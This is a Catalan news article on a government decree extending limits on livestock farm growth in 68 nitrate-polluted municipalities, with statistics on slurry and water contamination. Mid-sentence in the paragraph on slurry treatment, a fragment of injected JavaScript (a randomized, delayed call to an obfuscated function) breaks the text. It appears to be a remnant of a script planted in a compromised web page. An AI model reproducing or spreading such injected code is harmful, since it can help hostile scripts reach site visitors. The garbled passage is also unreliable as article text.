El Govern limita quatre anys més el creixement de les granges a les zones amb més concentració de bestiar

Es tracta de 68 municipis amb un gran nombre d’explotacions i amb l’aigua contaminada pels nitrats procedents dels purins. A la demarcació de Lleida els municipis afectats son: Belmunt d’Urgell, Golmés, Miralcamp, Mollerussa, Volanova de Bellpuig i Soses

El Govern ha aprovat el Decret llei que allarga durant quatre anys més la limitació d’ampliar i d’instal·lar noves granges a les zones de Catalunya amb un gran nombre d’explotacions i aigües contaminades per nitrats procedents dels purins. En concret es tracta de 68 municipis amb presència excessiva de nitrats a les aigües d’aquestes àrees.

El Departament d’Acció Climàtica, Alimentació i Agenda Rural persegueix l’objectiu d’evitar l’excedent de purins, és a dir, que les granges existents puguin gestionar les dejeccions d’una manera més eficient i adoptin sistemes de tractament i valoritzin aquests fertilitzants naturals sense que augmenti la pressió en la gestió per un increment del nombre d’animals que es crien en aquestes zones.

A Catalunya, hi ha aproximadament uns vuit milions de porcs, 700.000 caps de boví i 38 milions d’aus que generen cada any uns 17 milions de tones de purins i 4,4 milions de tones de fems i gallinasses.

Des de l’any 1998, l’Agència Catalana de l’Aigua analitza l’evolució de la qualitat de l’aigua i els nitrats en les aigües subterrànies i superficials mitjançant més de 500 punts de control. L’evolució de la contaminació no només no s’ha resolt, sinó que ha empitjorat progressivament. Actualment, un 40,3% de la superfície total de Catalunya està declarada vulnerable a la contaminació per nitrats d’origen agrari, cosa que afecta 465  municipis, és a dir, un 49% de tots els municipis catalans.

Els 68 municipis inclosos a la limitació que ha aprovat el Govern estan per sobre de l’1,2 d’Índex de Càrrega Ramadera, que es calcula d’acord amb la producció total de quilograms de nitrogen que produeixen els caps de bestiar en relació amb la superfície agrícola municipal que l’ha d’absorbir. En aquests municipis, ja hi ha 105 explotacions que disposen d’algun sistema de tractament, cosa que suposa la gestió del 34% dels excedents de purins. A bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, el 50% dels excedents, els tracten empreses especialitzades en residus. Actualment, per tant, encara hi ha un 16% d’excedent de nitrogen procedent dels purins que s’ha d’exportar (amb les corresponents emissions de diòxid de carboni) per a fer-ne una gestió correcta.

El Departament d’Acció Climàtica, Alimentació i Agenda Rural promou la valorització de les dejeccions com a recurs dins d’un esquema de bioeconomia circular basada en el foment del compostatge i de la fertilització orgànica d’excel·lència, ajustada a les necessitats dels cultius. Tot això amb una aplicació feta amb maquinària adequada i, fins i tot, quan calgui, l’exportació dels excedents de nutrients. 

Font: DACC

Write a Comment

L'adreça electrònica no es publicarà. Els camps necessaris estan marcats amb *